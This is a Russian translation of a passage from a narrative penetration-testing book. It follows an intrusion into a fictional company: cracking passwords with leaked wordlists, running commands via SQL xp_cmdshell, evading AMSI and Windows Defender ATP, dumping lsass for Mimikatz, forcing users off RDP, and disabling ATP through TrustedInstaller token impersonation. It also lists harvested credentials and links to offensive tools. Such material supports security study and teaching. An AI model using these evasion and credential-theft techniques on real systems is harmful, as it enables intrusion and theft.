skladchik.com
Применение этого набора правил для 1000 вариантов
вырабатывает 34 миллиона паролей, что может показаться крупной
цифрой, но наша платформа (248 MH/s) проработает это
пространство ключей примерно за одну десятую секунды (0,13 сек.).

Экстраполяция этих цифр показывает, что для того, чтобы


заставить эту машину работать в течение 24 часов, потребуется
загрузить порядка 664 миллионов паролей в наш набор правил, а
это длина в 34000 строк.

В зависимости от нашего бюджета нам может понадобиться


обрезать словарь Crackstation, чтобы уместить его в 24 часа, либо,
может быть, использовать меньшее количество правил. Речь идет о
выборе правильного баланса, чтобы действовать в рамках нашего
бюджета, но при этом по-прежнему иметь хорошие шансы на взлом
паролей:

Для дальнейшего расширения границ взлома паролей мы


воспользуемся другим мощным принципом:

Человеческая природа одинакова во всем мире!

Старый пароль - это чей-то новый пароль. Собрав пароли,


которые утекли ранее во время крупных сливов, мы можем создать
очень эффективный словарь, для которого, в отличие от
стандартных словарей, не будет требоваться обработка правилами.

Перевод
@Ianuaria
skladchik.com
В конце концов, это реальные пароли, которые, возможно,
соответствовали схожим правилам сложности паролей.

Это сэкономит нам огромное количество вычислительной


hashes.org78 порядка 76 словарей со слитыми
мощности. На сайте ​
паролями (550 млн. реальных паролей в сумме), в то время как по
следующей ссылке приведены списки с порядка 2 млрд. утекших
паролей.79

Вооружившись всеми этими вариантами, мы запускаем два


инстанса ​Hashcat последней версии на нашей GPU-платформе
AWS, один без обработки правилами, с использованием утекших
паролей, а другой с полными кастомными правилами. Мы вернемся
через пару часов или дней, чтобы проверить результаты:

...И мы получили его, ​sqlexpress / ​L3ic3st3r@87​. Это не


тривиальный пароль, который вы смогли бы получить, используя
стандартные правила, напоминаю вам, но учитывая огромное
количество наборов правил и правильное базовое слово, это было
неизбежно!

Долгожданная свобода 

На фоне возбуждения от этой существенно новой


возможности в мрачном мире, коим является оборонительная сеть

78
https://hashes.org/leaks.php

79
https://github.com/berzerk0/Probable-Wordlists/tree/master/Real-Passwords

Перевод
@Ianuaria
skladchik.com
Strat Jumbo, нам сложно удержаться от проверки этой учетной
записи применительно к базе данных Citrix. Но попридержите коней!
Открытие нового интерактивного сеанса (RDP или SQL) на
случайном сервере не будет простым, особенно с подстерегающим
ATA.

Если нам повезет, возможно, некоторые администраторы


регулярно инициируют RDP/SQL соединения к базе данных,
используя учетную запись ​sqlexpress​. Однако, имеется
вероятность, что эта учетная запись используется только локально
для работы службы базы данных.

Административные задачи обычно реализуются при


использовании специально назначенных учетных записей - либо, во
всяком случае, способ наименования в Strat Jumbo свидетельствует
об этом. Собственные соединения Citrix также вероятнее всего
используют выделенную учетную запись.

Если мы откроем удаленное соединение (SQL или RDP),


используя служебную учетную запись ​sqlexpress​, то мы наверняка
будем помечены ATA как инициаторы аномального поведения. Это
будет не особо умно.

К счастью, есть и другие способы подключения к SQL server.


Один по протоколу Kerberos, используя доменную учетную запись
SQL server (​ sqlexpress​), другой хитроумный способ - через
встроенную учетную запись “​ sa​”, у которой зачастую такой же
пароль, что и у служебной учетной записи SQL.

Учетная запись “​sa​” - поскольку это локальная учетка,


определенная в базе данных - не регистрирует логи Windows и не
взаимодействует с DC. Следовательно, ATA совершенно не
обращает внимания на подобную атаку.

Простой PowerShell-скрипт поможет унять наши сомнения:

Перевод
@Ianuaria
skladchik.com
https://gist.githubusercontent.com/jourdant/e9fa625fec54deb1a31f8e441
157fc9f/raw/20cca64e2909033a778c5b56f9040915708de237/sql_cmdle
ts.psm1

Великолепно! Теперь, как только мы оказались в базе данных,


мы можем разблокировать процедуру “​xp_cmdshell​”, чтобы
выполнять команды на сервере:

Перевод
@Ianuaria
skladchik.com
Подумать только! ​ Sqlexpress является членом группы
локальных администраторов на сервере ​STRAT-CI-03​! Это первый
сервер в сети Strat Jumbo, который мы по-настоящему заовнили!

Нагиб этой базы данных Citrix является критически важным


этапом проникновения в глубокую инфраструктуру Strat Jumbo.
Помните о том списке с базами данных, доступ к которым мы не
могли получить с сервера Citrix по причине защиты файрвола?
Теперь это в прошлом.

Направляя наши пакеты через ​STRAT-CI-03 - который


расположен внутри более доверенного сегмента сети - мы можем
достичь гораздо большего количества машин.

На данном этапе мы по-прежнему не знаем, на какие машины


нацелиться, чтобы получить исходный код Strat Accounting, поэтому
нам придется сконцентрироваться на том, что мы знаем -
пользователи, которые являются членами групп разработчиков,
установленных нами ранее:

SNOW jack.bosa, jake.sparrow...


YGRITTE lizzie.dutch...
CERSEI mozzie.caffrey,lucilla.silvy...
TYRION neil.cobbo...
DAENERYS cassini.morini, carl.sagan...
RHAEGAR janet.mcintyre, rodolpho.schwatz, jim.marrot...

Перевод
@Ianuaria
skladchik.com
TYWIN tara.tomora...
BAELISH elise.first, anya.ivanova...
TORMUND ron.bilius, richard.darwin, david.stuart...
ARYA laura.stevens, monica.fourb...

Мы не ожидаем, что эти пользователи будут подключены к


серверу с базой данных Citrix, так что забудьте о граббинге их
паролей при помощи ​ Mimikatz​. Однако, есть другая интересная
учетная запись, которую, я надеюсь, вы заметили на одном из
предыдущих скриншотов, и которая может нам пригодиться:
Citrix_srv​.

Это та самая учетная запись ​Citrix_srv​, которая обладает


привилегиями администратора над фермой серверов Citrix. Эта
учетная запись может автоматически выдать нам доступ к паролям,
хранящимся в памяти серверов XenApp.

Эти машины обычно являются проходом для интерактивных


сеансов, поэтому ​Mimikatz скорее всего сможет собирать по
несколько десятков паролей в час. Будем надеяться, что некоторые
из этих учетных записей будут иметь релевантные документы в
своих личных папках или истории браузеров, а также прольют
немного света на вопрос с наименованием проекта.

Теперь давайте вернемся обратно к нашему сценарию


использования ​Mimikatz​с базой данных.

Поскольку мы имеем дело с новым Windows Server 2016,


сначала необходимо включить провайдера службы WDigest,
который хранит пароли в обратимом формате, в противном случае
Mimikatz сграбит лишь NTLM-хеши, которые мы, конечно, смогли
бы взломать с помощью нашего бескомпромиссного рига для
взлома паролей, но включение WDigest - это гораздо более простая
и дешевая альтернатива:

Перевод
@Ianuaria
skladchik.com
В следующий раз, когда ​Citrix_srv подключится к серверу,
ее пароль будет сохранен в обратимом формате, после чего
Mimikatz​сможет легко дешифровать его.

Наш следующий шаг - протестировать классический


PowerShell-скрипт ​Invoke-Mimikatz80 на схожем сервере в нашей
тестовой лаборатории, чтобы убедиться, что все проходит гладко.
Как и обычно, мы загружаем его в память, используя
Invoke-Expression​, чтобы уклониться от антивируса Windows
Defender:

Что?! Он оказывается пойман!

Помните, что мы громко и в некоторой степени высокомерно


заявили, что антивирусные продукты могут только сканировать
файлы на диске, а следовательно, их можно легко обходить?
Попробуйте теперь повторить это на хакерской конференции -
кто-то обязательно бросит вам брошюру какого-либо “next-gen”
продукта. Даже Microsoft позаботились о решении этой проблемы,
представив нативное средство под названием AMSI для релизов
Windows 10 и Server 2016.

80
​https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

Перевод
@Ianuaria
skladchik.com
AMSI - это механизм, который перехватывает скриптовые
команды прямо перед их выполнением и отправляет их антивирусу
на анализ. Не важно, загружен ли скрипт с диска, реестра или из
памяти, поскольку AMSI действует на уровне скриптового движка
(WMF). Это также означает, что классические техники обфускации,
типа ​base64 и шифрования во время выполнения, смогут помочь
лишь в ограниченном объеме. Все зависит от модели сигнатур
нижележащего антивируса.

Поскольку мы являемся администраторами на машине, то мы


могли бы просто отключить AMSI, используя встроенную команду
Set-MpPreference (она доступна только в привилегированном
режиме):

Однако, следует ожидать, что событие из лога (​ID 5100​) будет


перенаправлено в QRadar SIEM, который может и скорее всего
должен будет мониторить подобные алерты. Это не достаточно
скрытно.

К счастью, у нас есть альтернативы, которые прекрасно


подойдут нам и привлекут гораздо меньше внимания. Мэтт Гребер
при помощи всемогущей техники Отражения смог создать
однострочную команду для отключения AMSI.81 Интересная
подборка некоторых других обходов представлена по следующей
ссылке:

https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-Am
siBypass.ps1

При инициализации, класс ​AmsiUtils проверяет переменную


amsiInitFailed​, чтобы убедиться, что все модули загружены
правильно. Если мы, при помощи Отражения, установим значение

81
https://twitter.com/mattifestation/status/735261176745988096?lang=en

Перевод
@Ianuaria
skladchik.com
этой переменной на ​True​, то сможем успешно отключить AMSI на
весь остаток сеанса PowerShell. Самый приятный момент в том, что
для этого трюка не требуются администраторские привилегии:

Все это нормально работает, но как и ожидалось, предыдущая


команда на отключение AMSI автоматически помечается как
событие с предупреждением (​4101​). Нам нужно добавить слой
обфускации или отключить логирование блоков скриптов целиком,
точно также, как мы делали это ранее.82

Вдобавок, чтобы обезопасить себя, мы можем немного


изменить скрипт ​Invoke-Mimikatz и сделать его менее очевидным
для будущих любопытных форензик-криминалистов: удалить
комментарии, изменить имена функций и параметров, и так далее.

Данные операции, которые по сути являются лишь командами


замены строк, должны будут ввести в замешательство статические
инструменты анализа. Идея принадлежит Кэрри Робертсу:

https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/

82
Интересная альтернатива, использованная проектом InsecurePowerShell: забросить
фейковую amsi.dll в папку с исполняемым файлом PowerShell и таким образом угнать процесс
загрузки: ​
http://cn33liz.blogspot.fr/2016/05/bypassing-amsi-using-powershell-5-dll.html

Перевод
@Ianuaria
skladchik.com
Если объединить код обхода логирования блоков скриптов,
AMSI и новый скрипт ​Invoke-Wee​, результат будет выглядеть
примерно так:

Перевод
@Ianuaria
skladchik.com
Стандартный способ удаленного запуска этого скрипта в базе
данных: сначала закодировать его в ​base64​, затем запустить его
через ​xp_cmdshell​при помощи следующей команды:

закодированный_скрипт​
EXEC xp_cmdshell "powershell.exe -enc <​ >"

Хоть это и разумный подход, который решает б​ о​льшую часть


проблем, связанных с экранированием кавычек и скобок в
PowerShell, тот факт, что он широко используется многими
вредоносными программами, привел к тому, что это является
очевидным поводом для тревоги и активно отслеживается многими
продуктами безопасности. Поэтому, как мне кажется, стоит
использовать другую технику, чтобы добиться того же результата.

Вместо хранения нашего скрипта в файле, реестре или


кодирования его в ​base64​, мы сохраним его в переменную
окружения в удаленной базе данных, используя команду ​
set​:

Перевод
@Ianuaria
skladchik.com
Далее дело будет лишь за получением этой переменной от
PowerShell и выполнением ее содержимого при помощи менее
подозрительного переключателя “​-command​”:

Мы включаем переменную ​command​, хранящую наш пейлоад, в


SQL-запрос и запускаем его в удаленной базе данных при помощи
xp_commandshell​:

Вот так чудеса, мы получаем пароль ​Citrix_srv​!

Используем эту учетную запись, чтобы открыть новый сеанс


на сервере Citrix. Поскольку теперь мы являемся членами группы
администраторов, то больше мы не подчиняемся политикам
Applocker, а следовательно, ограниченному языковому режиму
Powershell. Оба ограничения волшебным образом рассеялись - не
то, чтобы они нам сильно докучали, но с настоящего момента
работа сильно облегчается.

Перевод
@Ianuaria
skladchik.com
У нас целая кладезь новых приложений, доступных в этом
новом сеансе, начиная от RDP (сеанс удаленного рабочего стола) и
заканчивая файловым менеджером.

Проверив прошлые или сохраненные соединения приложения


RDP, к примеру, мы можем ограничить наше горизонтальное
(боковое) продвижение теми машинами, которые обычно
принимают интерактивные сеансы, принадлежащие учетной записи
Citrix_srv​, тем самым уклоняясь от обнаружения аномального
поведения со стороны ATA.

Как и ожидалось, эта учетная запись в основном используется


для управления серверами XenApp, поэтому мы ограничены тремя
серверами: ​STRAT-CI-01​, ​STRAT-CI-02​и ​STRAT-CI-03​.

И все же, это на два сервера больше, и мы можем


использовать их для сбора паролей последних подключенных
пользователей.

Мы открываем сеанс PowerShell с привилегиями


администратора на ​STRAT-CI-01​, отключаем предупреждение о
блоках скриптов, логирование, AMSI, а затем запускаем ​
Mimikatz​.

Перевод
@Ianuaria
skladchik.com
Пришлось потратить достаточно времени, чтобы очутиться
здесь, но мы наконец начали овнить какие-то учетные записи! Мы
перезапускаем ​ Mimikatz еще несколько раз в течение
последующих нескольких часов, чтобы понемногу наполнить все
наши группы разработчиков:

SNOW Jack.bosa/Spa98row!%

YGRITTE Lizzie.dutch/Holi_day_213

CERSEI Mozzie.caffrey/12Drumbeat!
Lucilla.silvy/Greyjoy*1

TYRION Нет сведений 

DAENERYS Cassini.morini/Dragons*fire

RHAEGAR Janet.mcentire/ Molly_Dorian10


Rodolpho.schwatz/Great*Gatsby0

TYWIN Нет сведений 

BAELISH Нет сведений 

TORMUND Ron.bilius/AkRiV€ra9
Richard.darwin/Greatest-Show-
3ver!

ARYA Laura.stevens/5YadorChan09
Monica.fourb/WishYouHere*B

Чтобы повысить наши шансы и ускорить процесс, мы


запускаем схожие команды на двух других серверах XenApp.

**Примечание по ATA** 

Как вы можете заметить, в данном сценарии мы не пытались


победить ATA, совершая прямые попытки обхода его модуля
обнаружения сигнатур. Мы просто плыли по течению и уделяли
пристальное внимание пакетам, порождаемым каждой из наших
команд, чтобы слиться с существующим трафиком настолько,
насколько это возможно.
Перевод
@Ianuaria
skladchik.com
Мы могли бы избрать сложный подход и переделать наши
инструменты, чтобы избежать привода в действие модуля сигнатур
ATA.

Например, при подделке билетов Kerberos, ATA помечает


лишь тот факт, что мы запросили билет Kerberos на основании
NTLM-хеша. Если мы выполним такой же запрос, используя хеши
AES 256 и 128 (также полученные при помощи ​Mimikatz​), то ни
один звоночек не зазвенит.

Еще многое можно сказать по использованию подобных


небольших уловок для победы над ATA по его же правилам. Если
вам интересна эта тема, можете ознакомиться с этим
великолепным материалом с Black Hat 2017:

https://www.blackhat.com/docs/us-17/thursday/us-17-Mittal-Evading-Mic
rosoftATA-for-ActiveDirectory-Domination.pdf

**** 

Разгром машин 

В конце концов, через несколько часов, мы собираем порядка


25 учетных записей, а это весьма приличное количество, учитывая
ограниченный набор скомпрометированных активов, но это с
трудом заполняет наши группы разработчиков. Нам по-прежнему
нужны пользователи из групп ​TYRION​, ​TYWIN и ​BAELISH​, чтобы
сорвать джекпот.

Однако, если вы внимательно посмотрите на панель


инструментов Citrix, то заметите еще одну машину, которую мы пока
еще не исследовали полностью - виртуальный рабочий стол (VDI),
доступный для учетной записи ​ Citrix_srv​:

Перевод
@Ianuaria
skladchik.com
В то время, как компании обычно размещают приложения
Citrix на серверах, виртуальные рабочие столы или XenDesktop
работают на общих рабочих столах Windows, чтобы воспроизвести
стандартные возможности рабочего стола:

Короткая команда ​quser отображает 8 пользователей,


параллельно подключенных к машине:

Выглядит довольно привлекательно. Если мы сможем


запустить ​Mimikatz на этой машине, то весьма основательно
залутаемся, особенно если эти учетные записи пользователей
помогут нам заполнить все оставшиеся группы!

Перевод
@Ianuaria
skladchik.com
Однако, перед тем, как включить режим коммандо на этой
машине, на собственном горьком опыте мы научены сначала
уделить время и выполнить определенные легкие
разведывательные действия. Как ни крути, это наш первый десктоп
с Windows в окружении Strat Jumbo.

Начинаем с вывода версии операционной системы, номера


сборки, запущенных процессов и служб:

У нас тут Windows 10.0.16299, так же известный как Fall


Creators Update или RedStone 3.

**Примечание по Windows 10** 

Версионность Windows 10 может вызывать множество


вопросов у тех, кто не знаком с новой концепцией “операционная
система как сервис”. Microsoft решили непрерывно обновлять
базовую функциональность (а не просто исправлять баги, как это
было прежде) Windows 10 на протяжении ее жизненного цикла.

Примерно каждые шесть месяцев выпускается новое крупное


обновление, которое изменяет номер основной сборки и добавляет
новые возможности.

Перевод
@Ianuaria
skladchik.com
Все началось с Windows 10 Threshold летом 2015 года, сборка
1507. Затем, несколькими месяцами позже, вышла в свет Windows
10 Threshold 2, номер сборки 1511.

Это продолжалось до Windows Redstone 4, номер сборки 1803,


которая была запланирована к выходу в апреле 2018 года.83

**** 

Защитник Windows (Windows Defender) работает в


стандартном режиме. Однако, внимание на машине привлекает
одна конкретная служба:

MsSense.exe​, хотя и является частью набора средств Windows


Defender, не имеет ничего общего с классическим антивирусным
решением от Microsoft. Он является составным элементом решения
по реагированию и защите конечных устройств следующего
поколения от Microsoft, которое называется Windows Defender
Advanced Threat Protection.84 Это антивредоносное ПО, основанное
на машинном обучении, которое определяет продвинутые атаки,
осуществляемые после произошедших нарушений безопасности.

Учитывая, что мы уже имеем контроль над несколькими


серверами для кражи учетных данных Citrix, возможно, нам
попросту не стоит сражаться с ATP за 8 простых паролей, которые

83
https://docs.microsoft.com/ru-ru/windows/windows-10/release-information

84

https://docs.microsoft.com/ru-ru/windows/security/threat-protection/windows-defender-atp/windows-de
fender-advanced-threat-protection

Перевод
@Ianuaria
skladchik.com
мы, скорее всего, смогли бы получить на серверах, подождав еще
несколько дней - но давайте в этот раз добавим немного
сумасшествия и примем вызов!

Чтобы приготовиться к предстоящему сражению, мы


регистрируем триальную версию Windows Defender ATP85 и
устанавливаем ее на тестовую машину. Процесс регистрации
длится 24 часа, а процедура установки несколько секунд, поскольку
Windows 10 поставляется с предустановленной службой ATP.

**Примечание** 
 
Спасибо Microsoft за то, что позволяют исследователям
безопасности скачивать и тестировать их продукты.

Чего нельзя сказать о многих других вендорах, которые


стесняются презентовать свои продукты исследователям
безопасности и при этом навязывают их руководствам компаний.

**** 

По большему счету, наша цель - снять дамп паролей в


открытом тексте, хранящихся в печально известном процессе
Lsass​. Однако, как только мы переходим к запуску изящного,
работающего в памяти скрипта ​Invoke-Mimikatz.ps1​, ATP
показывает следующее оповещение на нашей тестовой платформе:

85
​https://www.microsoft.com/ru-ru/windowsforbusiness/windows-atp

Перевод
@Ianuaria
skladchik.com
Что интересно, он не перехватил подозрительный доступ к
памяти ​LSASS​, и толком не отметил команды, мы видим это на
скриншоте выше.

ATP лишь выводит системную активность, которая приводит к


подозрительному поведению, или команду, которую он смог
выцепить - в данном случае, специфическая PowerShell-команда,
которая была вызвана где-то между функциями
Test-MemoryRangeValid​и ​Update-MemoryAddress​.

Мы пробуем наложить уровень обфускации для потенциально


подозрительных имен функций внутри ​ Invoke-Mimikatz.ps1​, но это
на деле не решает проблему, поскольку иногда скрипт по-прежнему
перехватывается с предупреждением “credential theft” (кража
учетных данных), без каких-либо вообще деталей:

В других случаях он вообще не перехватывается, но


происходит перехват классического обхода AMSI:

И тем не менее, та же самая команда для AMSI не вызывает


тревоги, если она усиленно обфусцирована:

Перевод
@Ianuaria
skladchik.com
Этот последний тест ясно демонстрирует, что как минимум
определенная часть алгоритма обнаружения основывается на
известных подозрительных паттернах строк. При иных
обстоятельствах, не важно, какой пейлоад используется, алгоритм
должен суметь сообщить, когда отключается AMSI.

В то же время, однако, по всей видимости, происходит и


какой-то процесс обучения, что объясняет непостоянство
результатов между выполнениями полезной нагрузки. Наши
повторные выполнения “странных” PowerShell-команд могут
склонить наш инстанс ATP к толерантности по отношению к этому
поведению, так как он может посчитать их частью стандартной
активности на машине. Тем не менее, при запуске этих же самых
команд в другом окружении могут сработать все виды тревоги.

Подобного рода изменчивое и зависящее от контекста


поведение, демонстрируемое Windows ATP, очень тревожит.
Тяжело быть на 100% уверенным в любом имеющемся пейлоаде.
Это как игра в сапера, лучшее, что мы можем сделать - это оценить
безопасность хода на основе вероятностных значений и надеяться
на лучшее...

Как бы то ни было, единственное, что мы можем точно


утверждать, исходя из наблюдений: любой скрипт, хотя бы немного
похожий на скрипты проекта ​PowerShell Empire​, почти
автоматически вызывает тревогу.

Проникновение в сеть компании с подобным непредсказуемым


программным обеспечением, которое отслеживает каждую
выполняемую команду, требует усилий, если не сказать большего, и

Перевод
@Ianuaria
skladchik.com
имеет крайне мало гарантий. Поэтому давайте выработаем способ
полного обхода этого ПО, окей?

Если разобраться, всё, что делает ​Mimikatz​, это извлечение


секретов, хранящихся в процессе ​lsass.exe​, который отвечает за
обработку аутентификации в Windows. У нас может не быть
возможности выполнения live-анализа процесса, пока он работает
на машине, но ничто не запрещает нам снять дамп его содержимого
в файл, а затем загрузить его офлайн в ​
Mimikatz​, работающий на
нашей машине!

Забудьте о ​procdump.exe и ​ Out-Minidump86 - они в любом


случае вызовут тревогу - есть очень простой и легитимный способ
сделать дамп процесса в Windows 10, используя старый добрый
диспетчер задач!

Теперь мы ожидаем. И ожидаем… и ничего не происходит! Ни


единого сигнала от Windows ATP, что странно, потому что для каких
легитимных целей может пользователь нуждаться в дампе
lsass.exe​?

В любом случае, теперь, когда у нас есть в определенной


степени безопасный метод, который позволяет скрыться от радара
ATP, мы можем обратить свое внимание обратно на виртуальный
рабочий стол Strat Jumbo.

86
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

Перевод
@Ianuaria
skladchik.com
Начинаем с включения провайдера WDigest на XenDesktop,
чтобы сохранить будущие пароли в обратимом формате.

**Совет** 

Чтобы принудить пользователей к повторному вводу их


учетных данных, мы всегда можем закрыть их RDP-сеансы. Хотя
это может показаться брутальным решением, факт в том, что
пользователи регулярно теряют свои сеансы Citrix из-за проблем со
связью, задержкой или дефолтным временем блокировки.

Мы стартуем с вывода сеансов, используя “​query session​”,


затем выполняем команду “​
tsdiscon​” для каждого из них:

C:\> query session


SESSIONNAME USERNAME ID STATE TYPE
> rdp-tcp#87 citrix_srv 1 Active
rdp-tcp#8 joey.pizza 2 Active
chandler.bong 3 Disc

C:\> tsdiscon 2

**** 

Lsass​,
Возвращаемся через пару часов, чтобы собрать образ ​
используя диспетчер задач, как было показано ранее. Чтобы
извлечь секреты из файла с дампом, мы загружаем его в ​
Mimikatz​,
работающий на похожей машине в нашем лабораторном окружении
(то есть, Windows 10 или Server 2016 64-бит).

Понятно, что мы можем легко отключить антивирус на нашей


собственной машине, не боясь потенциальных негативных
последствий:

Перевод
@Ianuaria
skladchik.com
Вот так это делается! Мы наконец покрываем все группы
разработчиков Strat Jumbo:

SNOW Jack.bosa/Spa98row!%

YGRITTE Lizzie.dutch/Holi_day_213

CERSEI Mozzie.caffrey/12Drumbeat!
Lucilla.silvy/Greyjoy*1

TYRION Neil.strauss/Va12Crav!
Barry.lois/Away_speed!!

DAENERYS Cassini.morini/Dragons*fire

RHAEGAR Janet.mcentire/ Molly_Dorian10


Rodolpho.schwatz/Great*Gatsby0

TYWIN Tara.tomora/Checkme$

BAELISH Elise.first/Foryou09
Anya.ivanova/ Monet-#

TORMUND Ron.bilius/AkRiV€ra9
Richard.darwin/Greatest-Show-
3ver!

ARYA Laura.stevens/5YadorChan09
Monica.fourb/WishYouHere*B

Перевод
@Ianuaria
skladchik.com
По большому счету, мы закончили с этой рабочей станцией.
Мы зашли внутрь, обошли обнаружение и получили пароли в
открытом тексте.

Но если мы оставим ее теперь, то это не будет полностью


честной игрой, не так ли? Большая часть продвинутых хакерских
инструментов выполняют тяжелые манипуляции с памятью, типа
внедрения DLL, регистрации драйвера, патчинга байтов памяти и
так далее.

Мы можем найти пару обходных путей для уклонения от ATP


(сильная обфускация, вызовы нативного Windows API и т.д.), но это
быстро становится тяжелой задачей - переписывать целый
скриптовый арсенал лишь для того, чтобы справиться с
раздражающей привычкой ATP подглядывать из-за нашего плеча.

Поэтому, перед тем, как закрыть эту главу про ATP, давайте
раз и навсегда решим непосредственную проблему - сам ATP!

Windows ATP использует две основные службы, чтобы


функционировать надлежащим образом:

● Служба под названием ​Sense​, которая запускает исполняемый


файл ​MsSense​, и которая является основным процессом,
стоящим за ATP.
● Служба под названием ​ DiagTrack​, которая используется для
сбора данных телеметрии, включая данные ATP.
Соответствующий процесс ​diagtrack.exe​.

Чтобы полностью отключить ATP, мы можем либо нацелиться


на службу ​Sense (​mssense.exe​) и вывести из строя агент, либо
завершить работу службы ​ DiagTrack (​diagtrack.exe​), чтобы
заблокировать облачную консоль.

Перевод
@Ianuaria
skladchik.com
Однако, остановка этих служб и связанных с ними процессов
не является простой задачей, как вы могли бы ожидать, даже при
наличии привилегий локального администратора.

На Windows RedStone 3 Creator Update 1706 служба ​Sense


помечена как ​
NOT_STOPPABLE (неостановима). Даже администратор
не сможет остановить ее легко:

Однако, ​DiagTrack не помечен этим состоянием, поэтому мы


можем остановить его, используя команду “​sc stop diagtrack​”. К
сожалению, ATP (​Sense​) просто перезапускает его, когда ему
необходимо связаться с облачной консолью.

Чтобы отключить его насовсем, нам нужно изменить путь


binary path​, ведущий к исполняемому файлу на диске, но тогда
мы получаем ошибку отказа в доступе:

Причина этой ошибки в том, что службы ​Sense и ​DiagTrack


помечены как службы Windows с уровнем защиты Light.87

87
​https://twitter.com/tiraniddo/status/799766456695214080

Перевод
@Ianuaria
skladchik.com
Защита служб - это средство безопасности, внедренное
начиная с Windows 8.1 для защиты некоторых процессов в режиме
пользователя от определенных атак, даже когда они выполняются
через учетную запись администратора, типа внедрения в процесс,
манипуляции с памятью, завершения процесса и так далее.

С технической точки зрения, процесс, помеченный как


защищенный, имеет соответствующий флаг (​ProtectionInfo​) в
своей структуре ​E_PROCESS​, который установлен на положительное
значение (в зависимости от уровня защиты88). Структура ​
E_PROCESS
обитает в пространстве ядра и поэтому для того, чтобы ее
перезаписать, требуется загрузка драйвера в систему (или
использование эксплойта ядра).

Для регистрации драйвера в Windows 10 требуется


сертификат EV, который стоит порядка $44989, не говоря уже про
проверки личности. Некоторые инструменты, которые отключают
защищенный флаг, типа ​PPLKiller90 и ​
Mimikatz​, поставляются со
своими самоподписанными драйверами и предоставляют
возможность отключения защиты процессов:

Однако, ATP перехватывает драйвер ​Mimikatz и лишь вопрос


времени, когда он перехватит драйвер ​PPLKiller​. К тому же, мы не
можем изменить имя драйвера без запроса нового валидного
сертификата EV, что в значительной степени ограничивает наш
маневр.

88
http://ww.alex-ionescu.com/?p=116

89
https://www.digicert.com/order/order-1.php

90
https://github.com/Mattiwatti/PPLKiller/blob/master/PPLKiller/main.cpp

Перевод
@Ianuaria
skladchik.com
К счастью, есть другой, более тихий и надежный путь.

Если вы углубитесь в описание защищенного процесса от


Microsoft, там говорится, что “​только доверенные вызывающие
могут остановить [защищенную] службу​”. Что они имеют ввиду
под доверенными вызывающими?

Выясняется, что существует служба под названием


TrustedInstaller​, в чьи обязанности входит управление
защищенными службами и другими критичными ресурсами в
системе. Именно эта служба, к примеру, может
переименовать/удалить критичные файлы типа
C:\windows\system32\cmd.exe​:

Как можно заметить выше, виртуальной группе “​ NT


Service\TrustedInstaller​”, которая привязана к службе
TrustedInstaller​, даны полные права над файлом ​cmd.exe​. То же
самое верно и в отношении служб с защитой уровня ​ Light​, таких
как ​Sense​и ​DiagTrack​!

Странная особенность, однако, что служба ​TrustedInstaller


не помечена как защищенная служба. Некое подобие парадокса
бесконечной регрессии, я полагаю:

В любом случае, это означает, что мы можем использовать


наши администраторские привилегии, чтобы изменить путь ​binary

Перевод
@Ianuaria
skladchik.com
path ​TrustedInstaller на запуск командной строки, которая
автоматически остановит службу ​Sense​, относящуюся к ATP:

Почти. Windows Defender и ATP блокируют нас, даже при


попытке использования более скрытной WMI-команды:

Окей, время подойти к проблеме серьезно. Поскольку служба


TrustedInstaller не защищена, мы попробуем внедрить новый
поток в ее процесс. Этот поток мог бы, к примеру, породить новый
интерпретатор командной строки, наследующий дескриптор токена
безопасности ​TrustedInstaller​. Другими словами, мы можем
успешно олицетворить удостоверение и привилегии
TrustedInstaller​!

Перевод
@Ianuaria
skladchik.com
Есть множество способов добиться этого. У ​Mimikatz есть
модуль для манипуляций с токенами, в проекте ​Empire есть скрипт
Invoke-TokenManipulation.ps1​, ​Meterpreter загружает версию
Incognito в память. Однако, все эти инструменты являются хорошо
известными фреймворками для атак, и если только мы не применим
сильную обфускацию (которая может не всегда сработать), ATP
перехватит их достаточно точно:

Чтобы сделать это, нам нужно создать свой собственный


кастомный код для олицетворения токенов - код, который еще не
был обработан Windows ATP в процессе его машинного обучения.

Это может звучать слишком сложно, но нам не нужно начинать


с нуля. Джеймс Форшоу разработал очень универсальный набор
инструментов для взаимодействия с объектами NT.91 Эти
инструменты реализуют структуры NT и обертки вокруг
низкоуровневых Windows API, чтобы выполнять всевозможные
классные вещи, типа вывода семафоров, мутантов, процесса
считывания и, конечно, экспериментов с токенами безопасности!

Мы скачиваем весь проект с Github, но компилируем только


NtObjectManager​и ​NtApiDotNet​.92
два модуля: ​

91
https://github.com/google/sandbox-attacksurface-analysis-tools/

92
Вам понадобится VisualStudio для простой компиляции модулей:

https://www.visualstudio.com/vs/express/

Перевод
@Ianuaria
skladchik.com
На выходе получаем две .NET DLL с названиями
NtObjectManager.dll и ​ NtApiDotNet.dll​, которые содержат все,
что нам нужно для олицетворения ​TrustedInstaller.exe​.

Эти DLL не вызывают никаких алертов со стороны антивируса,


потому что содержат легитимный код Windows и лишь определяют
обертки вокруг низкоуровневых Windows API. Так что, с технической
точки зрения, мы можем просто сбросить их на виртуальный диск
Strat Jumbo и нам это полностью сойдет с рук. Однако, если мы
будем осторожными, то нам стоит выбрать чистую загрузку в
память.

Загружаем эти DLL на наш C2-сервер и используем функцию


Load из класса ​System.Reflection.Assembly​, чтобы динамически
загрузить их в память. Опять же, это работает, поскольку мы имеем
дело с файлами сборки .NET:

Далее, мы импортируем загруженные сборки также, как


производится импорт любой стандартной DLL или

Перевод
@Ianuaria
skladchik.com
PowerShell-скрипта, таким образом получаем доступ ко множеству
их классных небольших функций для манипуляции объектами .NET:

Проверяем панель управления ATP. Пока что никаких алертов.


Все идет по плану.

Отлично. Теперь мы можем приступить к работе с токенами


безопасности! Первым делом мы получаем ​SeDebugPrivilege​,
чтобы иметь возможность взаимодействовать с пространством
памяти процессов системы:

Перевод
@Ianuaria
skladchik.com
Далее, мы запускаем процесс ​TrustedInstaller и получаем
дескриптор процесса, используя ​Get-NtProcess​:

Теперь следует заключительная часть. Мы вызовем метод


CreateProcess из DLL ​NtApiDotNet для запуска интерпретатора
командной строки, родительским процессом которого будет
TrustedInstaller.exe​. Но перед этим нам нужно приготовить три
ключевых параметра:

● Командная строка для запуска. В данном случае, подойдет


обычный ​cmd​.
● Родительский процесс, то есть, дескриптор на
TrustedInstaller.exe​.
● Опциональный параметр (​ CreationFlags​) для открытия
нового окна консоли.

Трансляция этих параметров в структуры ​


NtApiDotNet
выглядит следующим образом:

Перевод
